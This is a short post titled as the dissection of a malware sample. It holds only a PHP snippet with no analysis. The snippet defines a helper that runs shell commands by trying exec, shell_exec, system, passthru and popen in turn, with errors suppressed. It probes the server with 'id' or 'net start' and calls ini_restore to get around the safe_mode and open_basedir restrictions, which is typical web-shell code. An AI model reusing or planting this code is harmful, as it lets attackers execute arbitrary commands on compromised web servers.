Dissecting Sample No - 5

Osirys

if((@eregi("uid",ex("id"))) || (@eregi("Windows",ex("net start")))){
echo("Safe Mode of this Server is : ");
echo("SafemodeOFF");
} else {
ini_restore("safe_mode");
ini_restore("open_basedir");

if((@eregi("uid",ex("id"))) || (@eregi("Windows",ex("net start")))){
echo("Safe Mode of this Server is : ");
echo("SafemodeOFF");
}else{
echo("Safe Mode of this Server is : ");
echo("SafemodeON");
}
}

function ex($cfe){
$res = '';
if (!empty($cfe)){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
} elseif(function_exists('system')){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}
}
return $res;
}

exit;